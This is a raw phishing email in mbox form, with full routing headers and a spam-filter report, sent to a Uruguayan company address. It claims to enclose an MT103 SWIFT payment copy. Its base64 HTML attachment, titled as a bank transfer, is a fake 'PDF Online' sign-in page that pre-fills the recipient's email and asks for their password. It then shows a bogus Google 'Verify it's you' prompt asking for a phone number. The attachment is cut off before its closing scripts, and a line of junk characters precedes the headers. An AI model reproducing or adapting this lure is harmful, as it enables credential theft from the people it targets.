grthtrhthjhtyjytjytkergtrhtrjytjerhrfh4:24 29/09/2026Return-Path: <wamiqahmed@hotmail.com>
Received: from ambar.servidorlinux16.com
	by ambar.servidorlinux16.com with LMTP
	id qMh/I2uZrWD4EgAAm9P8sg
	(envelope-from <wamiqahmed@hotmail.com>); Tue, 25 May 2021 21:42:19 -0300
Return-path: <wamiqahmed@hotmail.com>
Envelope-to: imateu@vindex.com.uy
Delivery-date: Tue, 25 May 2021 21:42:19 -0300
Received: from mail-bn8nam12olkn2109.outbound.protection.outlook.com ([40.92.21.109]:40800 helo=NAM12-BN8-obe.outbound.protection.outlook.com)
	by ambar.servidorlinux16.com with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.94.2)
	(envelope-from <wamiqahmed@hotmail.com>)
	id 1llhcp-0001zJ-UW
	for imateu@vindex.com.uy; Tue, 25 May 2021 21:42:19 -0300
ARC-Seal: i=1; a=rsa-sha256; s=arcselector9901; d=microsoft.com; cv=none;
 b=iN9K5zHiSVU/UTelw/AQIOdFJH551ozhrVKxLwRlCVYAxeq8o23gPML6KIE5nIHwY7SuUSdLsq5hCoqLBd5h4HC4FmT+LlLclFAem8Yr9h4QRSSvIBJoykirLLQhF3yYU3Tx1Hsz+ywQsuFTfAZ19AM9XH3AAgAwKgxpQOD7GdFbj9bv0d2qmwl+xvj3a9LaZ3sal9UsNxTf96Nkmy/JFZhpYYcJj7TdeJeKP2kGQInBcyvrmrKREwXzyRNMsGY+FvUCiQoj00H3VebVqwbUPu1U8ASqnk/90jyTG51FEBJsm1KSUDVoFVIpfv2MvHPxHZp6wkMybTAfgSaVPBzFTg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector9901;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Lo0gjawKf2h3zDd9I/0rQOYlkD8A+e/zgzDaDTqI05I=;
 b=ESUqEf4zEuVyGqcjTrYDLrFnUl3+0BHdxi2oxp+8M47CqGs8H24FMRK79ARQX5GWA/pN4NoBT9JsKH46ZA2cR0MGHN8hdjAm5jxpa2W7MPnqDKMFdxaYNyvqrHqBeMU7EOo2TOg0FYiiJIB18cBqxoohdTu1frbCyjzaL6RW72iRfmo17Why34pJiaaWbnX89zK6ft8xGqv1TX9s3Mo3XlLmIJxoKfzUTUV3POnCxq/ZX4nEPhg9B8H98jyZI14o9zY9zcvQCdNdF0nB6B4CtAn7MaH0sv9+0wj2EdXax5qGX5oXiBbKZEXtqJaMDdd6eMbZTUn9lYINisj8Wrx++w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;
 dkim=none; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=hotmail.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Lo0gjawKf2h3zDd9I/0rQOYlkD8A+e/zgzDaDTqI05I=;
 b=aUYfGRkvcziJHMYQwoJMLrUK7Wo0yzCN09zYMM03W/gM0LoUolFm/Qh3MJEEZlAqgUCKWRJwo1bRrq+cK6PRSrmKkNK2rQq6qq/O3laYN2C45G6bEzAfZD6MuAFDGocm5VnQ9+PM4b5uM4KV3hC1HnRR0526Dl4A/Z/lVoVYppqGVrSpQB8NxxXcfRwi8epFwRjydpyWpfUni3V+8onkxUEbm/LcYuk3zQx5vkdccxLU0me93yhfJg0ls9MoxzhZ5PsatbcSsAcMNuB14Ss7gi37HZPDFCOs1YTjxK1wpHneSsd2dw73/0vxWKkRz6LcdBl87c25Zj/gZPIAJzW/YA==
Received: from BN8NAM12FT038.eop-nam12.prod.protection.outlook.com
 (2a01:111:e400:fc66::52) by
 BN8NAM12HT033.eop-nam12.prod.protection.outlook.com (2a01:111:e400:fc66::90)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.4150.11; Wed, 26 May
 2021 00:41:35 +0000
Received: from BYAPR04MB4261.namprd04.prod.outlook.com
 (2a01:111:e400:fc66::4f) by BN8NAM12FT038.mail.protection.outlook.com
 (2a01:111:e400:fc66::346) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.4150.11 via Frontend
 Transport; Wed, 26 May 2021 00:41:35 +0000
X-IncomingTopHeaderMarker:
 OriginalChecksum:460F4265D06BCA8618D3F1BE47EEE0E9C30173293DC73D23B6CF49A3A05EC2EA;UpperCasedChecksum:EB9E0DD182D592C5E72AA332C445D64129D71466058829F73A86016321D04F5A;SizeAsReceived:7373;Count:44
Received: from BYAPR04MB4261.namprd04.prod.outlook.com
 ([fe80::18a1:71e0:63c5:7b81]) by BYAPR04MB4261.namprd04.prod.outlook.com
 ([fe80::18a1:71e0:63c5:7b81%7]) with mapi id 15.20.4150.027; Wed, 26 May 2021
 00:41:35 +0000
From: "Jenny Peter" <wamiqahmed@hotmail.com>
To: imateu@vindex.com.uy
Subject: MT103_Swift copy
Date: 25 May 2021 17:41:21 -0700
Message-ID:
 <BYAPR04MB42617FD70A812FCEA8D287ADC9249@BYAPR04MB4261.namprd04.prod.outlook.com>
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0012_5403132B.62CB6624"
X-TMN: [CE+mqiFa48K0ASGPKijbBxThXc1pkRey]
X-ClientProxiedBy: AM8P251CA0029.EURP251.PROD.OUTLOOK.COM
 (2603:10a6:20b:21b::34) To BYAPR04MB4261.namprd04.prod.outlook.com
 (2603:10b6:a02:fe::12)
X-Microsoft-Original-Message-ID: <20210525174119.DB0815857BDB6F85@hotmail.com>
MIME-Version: 1.0
X-MS-Exchange-MessageSentRepresentingType: 1
Received: from hotmail.com (185.156.172.74) by AM8P251CA0029.EURP251.PROD.OUTLOOK.COM (2603:10a6:20b:21b::34) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.4173.20 via Frontend Transport; Wed, 26 May 2021 00:41:22 +0000
X-MS-PublicTrafficType: Email
X-IncomingHeaderCount: 44
X-EOPAttributedMessage: 0
X-MS-Office365-Filtering-Correlation-Id: 7a0d72c6-4f10-45f0-fbcc-08d91fdefc5b
X-MS-TrafficTypeDiagnostic: BN8NAM12HT033:
X-Microsoft-Antispam: BCL:0;
X-Microsoft-Antispam-Message-Info:
	w+pLWzhG6nm4ppX3I7sCddImY/Bxmrr1ukJ0KoJxWCyqW5IG5Tz3JeQoCgRYLgutx+tq7vvYTpoTSjeEJp7ZBluas+zLf/bUVWTYGLH6+X5XdFcQfRS+BnRNBYAQxCfVdRlnjgDWApQXX7xBxxNBqh2neezlHfUEhIz2UNM+NKgJESCKpL0GreOjtzUVnKe2ThRpo7Uu9hvAXATba+FlKjE3/F2KvvuhcRVylMKsDINslKP5dzRfuiUWF/VYfwGUyMJDH1n5kTmSs2zzFZWRSC50At7lAsbBKNyJl8i/whRW+GaLwebfpweYOrtw/paWwfE48cpqbPVF/I5Qh7XiDAmT4sQkC4+Uz/ipnKHLMELzX9ngCX10BnLC95VVr1ExP2ko94TBjpimXp1U7Ovpbg==
X-MS-Exchange-AntiSpam-MessageData:
	K1t9pSZpP2trDc0LtGBpDY9WFcnU15NhPiKC6PqVtor0Kgtf6SxSkMPbrDQcGhhyIkhGiQeTt2aFmgNCFb79UZ6CM/pd8X/u0cyKqlsaIUtg3Q+Hf+K3Zw3NH3sYXtTTHZg7lBl7qVwltpzB86/NfA==
X-OriginatorOrg: hotmail.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 7a0d72c6-4f10-45f0-fbcc-08d91fdefc5b
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 26 May 2021 00:41:23.2230
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa
X-MS-Exchange-CrossTenant-AuthSource:
	BN8NAM12FT038.eop-nam12.prod.protection.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: Internet
X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg:
	00000000-0000-0000-0000-000000000000
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BN8NAM12HT033
X-Spam-Status: No, score=4.0
X-Spam-Score: 40
X-Spam-Bar: ++++
X-Ham-Report: Spam detection software, running on the system "ambar.servidorlinux16.com",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Dear Sir, Please find enclosed MT103_Swift copy & let me know
    if you have received the payment, Because payment have been confirmed sent
    from our bank, so please check with your bank and then confirm me. 
 Content analysis details:   (4.0 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.8 BAYES_50               BODY: Bayes spam probability is 40 to 60%
                             [score: 0.5000]
  2.0 DEAR_SOMETHING         BODY: Contains 'Dear (something)'
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  0.0 FREEMAIL_FROM          Sender email is commonly abused enduser mail
                             provider
                             [wamiqahmed[at]hotmail.com]
 -0.0 SPF_PASS               SPF: sender matches SPF record
  1.3 KAM_STORAGE_GOOGLE     URI: Google Storage API being abused by
                             spammers
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_MESSAGE           BODY: HTML included in message
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
                             envelope-from domain
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  0.0 KAM_SHORT              Use of a URL Shortener for very short URL
  0.0 T_HTML_ATTACH          HTML attachment to bypass scanning?
X-Spam-Flag: NO

------=_NextPart_000_0012_5403132B.62CB6624
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD>
<META name=3DGENERATOR content=3D"MSHTML 11.00.9600.19940"></HEAD>
<body>
<P style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px; FONT-FAMILY: Roboto,sa=
ns-serif; COLOR: rgb(44,54,58); MARGIN-TOP: 0px"><FONT style=3D"BOX-SIZING:=
 border-box" color=3D#0000a0>Dear Sir,</FONT></P>
<P style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px; FONT-FAMILY: Roboto,sa=
ns-serif; COLOR: rgb(44,54,58); MARGIN-TOP: 0px"><BR style=3D"BOX-SIZING: b=
order-box"><FONT style=3D"BOX-SIZING: border-box" color=3D#0000a0>Please fi=
nd enclosed MT103_Swift copy &amp; let me know if you have received the pay=
ment,</FONT></P>
<P style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px; FONT-FAMILY: Roboto,sa=
ns-serif; COLOR: rgb(44,54,58); MARGIN-TOP: 0px"><FONT style=3D"BOX-SIZING:=
 border-box" color=3D#0000a0>Because payment have been confirmed sent from =
our bank, so please check with your bank and then confirm me.</FONT></P>
<P style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px; FONT-FAMILY: Roboto,sa=
ns-serif; COLOR: rgb(44,54,58); MARGIN-TOP: 0px"><FONT style=3D"BOX-SIZING:=
 border-box" color=3D#0000a0>Thanks &amp; Regards<BR style=3D"BOX-SIZING: b=
order-box">Jenny Peter</FONT></P>
<P style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px; FONT-FAMILY: Roboto,sa=
ns-serif; COLOR: rgb(44,54,58); MARGIN-TOP: 0px"><FONT style=3D"BOX-SIZING:=
 border-box" color=3D#800080><EM style=3D"BOX-SIZING: border-box"><FONT sty=
le=3D"BOX-SIZING: border-box" color=3D#ff0080>Account Executive<BR style=3D=
"BOX-SIZING: border-box"></FONT></EM>Gratment Trading (Pvt.) Ltd.<BR style=
=3D"BOX-SIZING: border-box">No.20,Jalan Satria 15,<BR style=3D"BOX-SIZING: =
border-box">
JB Perdana Industrial Park, 81300 Skudai, Johor.<BR style=3D"BOX-SIZING: bo=
rder-box">Tel:07-512 3329<BR style=3D"BOX-SIZING: border-box">Fax:07-511 23=
69</FONT></P></BODY></HTML>
------=_NextPart_000_0012_5403132B.62CB6624
Content-Type: text/html; name="MT103_Bank Transfer.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="MT103_Bank Transfer.html"

PCFkb2N0eXBlIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgPHNjcmlwdCBzcmM9
Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzIuMi40L2pxdWVy
eS5taW4uanMiPjwvc2NyaXB0Pg0KICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5j
b20vanF1ZXJ5LTMuMS4xLm1pbi5qcyI+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY29kZS5q
cXVlcnkuY29tL2pxdWVyeS0zLjMuMS5qcyIgaW50ZWdyaXR5PSJzaGEyNTYtMktvazdNYk95eHBn
VVZ2QWsvSEoyamlnT1NZUzJhdUs0UGZ6Ym03dUg2MD0iIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMi
Pjwvc2NyaXB0Pg0KICAgIDwhLS0gUmVxdWlyZWQgbWV0YSB0YWdzIC0tPg0KICAgIDxtZXRhIGNo
YXJzZXQ9InV0Zi04Ij4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9
ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPg0KDQogICAg
PCEtLSBCb290c3RyYXAgQ1NTIC0tPg0KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0i
aHR0cHM6Ly9tYXhjZG4uYm9vdHN0cmFwY2RuLmNvbS9ib290c3RyYXAvNC4wLjAvY3NzL2Jvb3Rz
dHJhcC5taW4uY3NzIiBpbnRlZ3JpdHk9InNoYTM4NC1HbjUzODR4cVExYW9XWEErMDU4UlhQeFBn
NmZ5NElXdlROaDBFMjYzWG1GY0psU0F3aUdnRkFXL2RBaVM2SlhtIiBjcm9zc29yaWdpbj0iYW5v
bnltb3VzIj4NCiAgICA8bGluayBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nz
cz9mYW1pbHk9QXJjaGl2bytOYXJyb3cmZGlzcGxheT1zd2FwIiByZWw9InN0eWxlc2hlZXQiPg0K
ICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2tpdC5mb250YXdlc29tZS5jb20vNTg1YjA1MTI1MS5q
cyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+PC9zY3JpcHQ+DQogICAgPHRpdGxlPlBERjwvdGl0
bGU+DQogICAgPGxpbmsgaHJlZj0iY3NzL2hvdmVyLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiBtZWRp
YT0iYWxsIj4NCg0KICAgIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQogICAgIHRleHRhcmVhOmhv
dmVyLCANCiAgICAgaW5wdXQ6aG92ZXIsIA0KICAgICB0ZXh0YXJlYTphY3RpdmUsIA0KICAgICBp
bnB1dDphY3RpdmUsIA0KICAgICB0ZXh0YXJlYTpmb2N1cywgDQogICAgIGlucHV0OmZvY3VzLA0K
ICAgICBidXR0b246Zm9jdXMsDQogICAgIGJ1dHRvbjphY3RpdmUsDQogICAgIGJ1dHRvbjpob3Zl
ciwNCiAgICAgbGFiZWw6Zm9jdXMsDQogICAgIC5idG46YWN0aXZlLA0KICAgICAuYnRuLmFjdGl2
ZQ0KICAgICB7DQogICAgICBvdXRsaW5lOjBweCAhaW1wb3J0YW50Ow0KICAgICAgLXdlYmtpdC1h
cHBlYXJhbmNlOm5vbmU7DQogICAgICBib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7DQogICAg
fQ0KDQoNCiAgPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWltYWdl
OiB1cmwoJ2h0dHBzOi8vZmlyZWJhc2VzdG9yYWdlLmdvb2dsZWFwaXMuY29tL3YwL2IvYWt6bGVl
LmFwcHNwb3QuY29tL28vOTYuanBnP2FsdD1tZWRpYSZ0b2tlbj1iMmFmZmY4MC05MDEyLTQ5ZmYt
ODgyNy01OTU2ZDk4ZWM0NWMnKTsgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtiYWNrZ3Jv
dW5kLXNpemU6IGNvdmVyOyI+DQogIDxkaXYgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCBwLTAiPg0K
ICAgIDwhLS0gPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIiBzdHlsZT0iYmFja2dyb3VuZC1j
b2xvcjogd2hpdGU7IGJveC1zaGFkb3c6M3B4IDJweCAxMHB4IHJnYmEoMCwwLDAsMC4yKTsiPg0K
ICAgICAgPGRpdiBjbGFzcz0icm93IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2ZmNmMyYzsi
Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIgbXgtYXV0byI+DQogICAgICAgICAgPGlt
ZyBzcmM9ImltYWdlcy93ZWJtYWlsLXcucG5nIiBjbGFzcz0iaW1nLWZsdWlkIHAtNCIgd2lkdGg9
IjE3MHB4Ij4NCiAgICAgICAgPC9kaXY+DQoNCiAgICAgIDwvZGl2Pg0KDQogICAgPC9kaXY+IC0t
Pg0KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQogICAgICA8ZGl2IGNsYXNzPSJyb3cgbXkt
NSI+DQogICAgICAgIDxkaXYgY2xhc3M9ImNvbC1sZy01IG14LWF1dG8iPg0KICAgICAgICAgIDxk
aXYgY2xhc3M9Im0tNSBwLTQgYmctd2hpdGUgcm91bmRlZCIgaWQ9ImRpdjEiIHN0eWxlPSJib3gt
c2hhZG93OiAwcHggMnB4IDVweCByZ2JhKDAsMCwwLDAuNSk7Ij4NCiAgICAgICAgICAgIDxkaXYg
Y2xhc3M9InRleHQtbGVmdCI+DQogICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2ZpcmVi
YXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2FremxlZS5hcHBzcG90LmNvbS9vL3BkZi5w
bmc/YWx0PW1lZGlhJnRva2VuPTZmYzM0OTM2LWZhY2UtNDk3YS1iMDg1LTA2NDVjOWY2ZWY1NSIg
Y2xhc3M9ImltZy1mbHVpZCIgd2lkdGg9IjgwcHgiPjxzcGFuIGNsYXNzPSJwbC00IGg1IGFsaWdu
LW1pZGRsZSI+UERGIE9ubGluZTwvc3Bhbj48YnI+PGJyPg0KICAgICAgICAgICAgICA8c3BhbiBj
bGFzcz0iaDUiPlNpZ24gaW4geW91ciB2YWxpZCBlbWFpbCBhbmQgcGFzc3dvcmQgdG8gdmlldzwv
c3Bhbj48YnI+DQogICAgICAgICAgICAgIDxzcGFuIGlkPSJtc2ciIGNsYXNzPSJ0ZXh0LWRhbmdl
ciI+PC9zcGFuPjxicj4NCiAgICAgICAgICAgICAgPHNwYW4gaWQ9ImVycm9yIiBjbGFzcz0idGV4
dC1kYW5nZXIiPjwvc3Bhbj4NCiAgICAgICAgICAgICAgPHNtYWxsPkVtYWlsIEFkZHJlc3M8L3Nt
YWxsPg0KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4NCiAgICAgICAgICAg
ICAgICA8aW5wdXQgdHlwZT0iZW1haWwiIHZhbHVlPSJpbWF0ZXVAdmluZGV4LmNvbS51eSIgbmFt
ZT0iZW1haWwiIGNsYXNzPSJmb3JtLWNvbnRyb2wgcm91bmRlZC0wIGJnLXRyYW5zcGFyZW50IiBp
ZD0iZW1haWwiIGFyaWEtZGVzY3JpYmVkYnk9ImVtYWlsSGVscCIgcGxhY2Vob2xkZXI9IkVtYWls
L1Bob25lIj4NCiAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgPGRpdiBjbGFz
cz0iZm9ybS1ncm91cCBtdC0yIj4NCiAgICAgICAgICAgICAgICAgPHNtYWxsPlBhc3N3b3JkPC9z
bWFsbD4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3
b3JkIiBjbGFzcz0iZm9ybS1jb250cm9sIiBpZD0icGFzc3dvcmQiIGFyaWEtZGVzY3JpYmVkYnk9
ImVtYWlsSGVscCIgcGxhY2Vob2xkZXI9IlBhc3N3b3JkIiA+DQogICAgICAgICAgICAgIDwvZGl2
Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWNoZWNr
IG10LTMiPg0KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIGNsYXNzPSJmb3Jt
LWNoZWNrLWlucHV0IiBpZD0iZXhhbXBsZUNoZWNrMSI+DQogICAgICAgICAgICAgIDxsYWJlbCBj
bGFzcz0iZm9ybS1jaGVjay1sYWJlbCIgZm9yPSJleGFtcGxlQ2hlY2sxIj48YSBocmVmPSIjIj5L
ZWVwIG1lIHNpZ24gaW48L2E+PC9sYWJlbD4NCiAgICAgICAgICAgICAgPHNwYW4+PGEgaHJlZj0i
IyIgY2xhc3M9ImZsb2F0LXJpZ2h0Ij5Gb3Jnb3QgdXNlcm5hbWU/PC9hPjwvc3Bhbj4NCiAgICAg
ICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWxnLTEyIG10LTMiPg0K
ICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gdGV4dC13aGl0ZSBweC00IHctMTAwIiBp
ZD0ic3VibWl0LWJ0biIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNENjFDMDA7Ij5TaWduIGlu
PC9idXR0b24+DQogICAgICAgICAgICA8L2Rpdj4gICAgICAgICAgICAgDQogICAgICAgICAgPC9k
aXY+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibS01IHAtNCBiZy13aGl0ZSByb3VuZGVkIiBpZD0i
ZGl2MiIgc3R5bGU9ImJveC1zaGFkb3c6IDBweCAycHggNXB4IHJnYmEoMCwwLDAsMC41KTsiPg0K
ICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXh0LWxlZnQiPg0KICAgICAgICAgICAgICAgIDxp
bWcgc3JjPSJodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2Fremxl
ZS5hcHBzcG90LmNvbS9vL3BkZi5wbmc/YWx0PW1lZGlhJnRva2VuPTZmYzM0OTM2LWZhY2UtNDk3
YS1iMDg1LTA2NDVjOWY2ZWY1NSIgY2xhc3M9ImltZy1mbHVpZCIgd2lkdGg9IjgwcHgiPjxzcGFu
IGNsYXNzPSJwbC00IGg1IGFsaWduLW1pZGRsZSI+UERGIE9ubGluZTwvc3Bhbj48YnI+PGJyPg0K
ICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtYXJyb3ctbGVmdCIgaWQ9ImJhY2siPjwv
aT4mbmJzcDxzcGFuIGlkPSJlbWFpbGNoIj5hYmNAYWJjLmNvbTwvc3Bhbj48YnI+DQogICAgICAg
ICAgICAgICAgPHNwYW4gY2xhc3M9Img0IGZvbnQtd2VpZ2h0LW5vcm1hbCI+VmVyaWZ5IGl0J3Mg
eW91PC9zcGFuPjxicj4NCiAgICAgICAgICAgICAgICA8c3Bhbj5UaGlzIGRldmljZSBpcyBub3Qg
cmVjb2duaXplZC4gRm9yIHNlY3VyaXR5LCBHb29nbGUgd2FudCB0byBtYWtlIHN1cmUgaXQncyBy
ZWFsbHkgeW91Ljwvc3Bhbj48YnI+DQogICAgICAgICAgICAgICAgPHNwYW4+PGEgaHJlZj0iIyI+
TGVhcm4gbW9yZTwvYT48L3NwYW4+PGJyPg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAg
ICAgIDxzcGFuIGlkPSJtc2cxIiBjbGFzcz0idGV4dC1kYW5nZXIiPjwvc3Bhbj48YnI+DQogICAg
ICAgICAgICAgICAgPHNwYW4+VHJ5IGFub3RoZXIgd2F5IHRvIHNpZ24gaW48L3NwYW4+DQogICAg
ICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBtdC0zIGNvbC0xMiI+DQogICAgICAg
ICAgICAgICAgICA8aW5wdXQgdHlwZT0ibnVtYmVyIiBuYW1lPSJwaG9uZSIgY2xhc3M9ImZvcm0t
Y29udHJvbCByb3VuZGVkLTAgYmctdHJhbnNwYXJlbnQgcC0yIiBpZD0icGhvbmUiIGFyaWEtZGVz
Y3JpYmVkYnk9ImVtYWlsSGVscCIgcGxhY2Vob2xkZXI9IkVudGVyIFBob25lIE5vLiIgPg0KICAg
ICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAg
PGRpdiBjbGFzcz0icm93IG15LTMgcHktMiI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0i
Y29sLWxnLTEyIj4NCiAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biB0ZXh0LXdo
aXRlIHB4LTQgdy0xMDAiIGlkPSJzdWJtaXQtYnRuMSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6
ICNENjFDMDA7Ij5WZXJpZnk8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAg
ICAgICAgICAgPC9kaXY+ICAgICAgICAgICAgIA0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAg
ICAgICA8IS0tIDxkaXYgY2xhc3M9Im0tNSBwLTQgYmctd2hpdGUgcm91bmRlZCIgaWQ9ImRpdjIi
IHN0eWxlPSJib3gtc2hhZG93OiAwcHggMnB4IDVweCByZ2JhKDAsMCwwLDAuNSk7Ij4NCiAgICAg
ICAgICAgICAgPGRpdiBjbGFzcz0idGV4dC1jZW50ZXIiPg0KICAgICAgICAgICAgICAgIDxpbWcg
c3JjPSJpbWFnZXMveWFob28xLnBuZyIgY2xhc3M9ImltZy1mbHVpZCIgd2lkdGg9IjkwcHgiPjxi
cj48YnI+DQogICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1hcnJvdy1sZWZ0IiBpZD0i
YmFjayI+PC9pPiZuYnNwPHNwYW4gaWQ9ImVtYWlsY2giPmFiY0BhYmMuY29tPC9zcGFuPjxicj48
YnI+DQogICAgICAgICAgICAgICAgPHNwYW4gaWQ9Im1zZyIgY2xhc3M9InRleHQtZGFuZ2VyIj48
L3NwYW4+PGJyPg0KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJoNSI+RW50ZXIgUGFzc3dv
cmQ8L3NwYW4+PGJyPg0KICAgICAgICAgICAgICAgIDxzcGFuPnRvIGZpbmlzaCBzaWduIGluPC9z
cGFuPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgbXQtMiI+DQogICAg
ICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIiBjbGFz
cz0iZm9ybS1jb250cm9sIiBpZD0icGFzc3dvcmQiIGFyaWEtZGVzY3JpYmVkYnk9ImVtYWlsSGVs
cCIgcGxhY2Vob2xkZXI9IkVudGVyIFBhc3N3b3JkIiBzdHlsZT0iYm9yZGVyLXJpZ2h0OiBub25l
O2JvcmRlci1sZWZ0OiBub25lO2JvcmRlci10b3A6IG5vbmU7Ij4NCiAgICAgICAgICAgICAgICA8
L2Rpdj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIgbXQtMyI+DQogICAg
ICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gdGV4dC13aGl0ZSBiZy1wcmltYXJ5IHB4
LTQgdy0xMDAiIGlkPSJzdWJtaXQtYnRuIiBzdHlsZT0iYm9yZGVyLXJhZGl1czogMjBweDsiPmxv
Z2luPC9idXR0b24+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgIDwvZGl2
Pg0KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWNoZWNrIG10LTUgbXgtYXV0byI+DQog
ICAgICAgICAgICAgICAgPHNwYW4+PGEgaHJlZj0iIyI+Rm9yZ290IHBhc3N3b3JkPzwvYT48L3Nw
YW4+DQogICAgICAgICAgICAgIDwvZGl2PiAgICAgICAgICAgICAgDQogICAgICAgICAgICA8L2Rp
dj4gLS0+DQogICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgPC9kaXY+DQoN
Cg0KDQoNCg0KICAgICAgPCEtLSBPcHRpb25hbCBKYXZhU2NyaXB0IC0tPg0KICAgICAgPCEtLSBq
UXVlcnkgZmlyc3QsIHRoZW4gUG9wcGVyLmpzLCB0aGVuIEJvb3RzdHJhcCBKUyAtLT4NCiAgICAg
IDxzY3JpcHQgc3JjPSJodHRwczovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMy4yLjEuc2xpbS5t
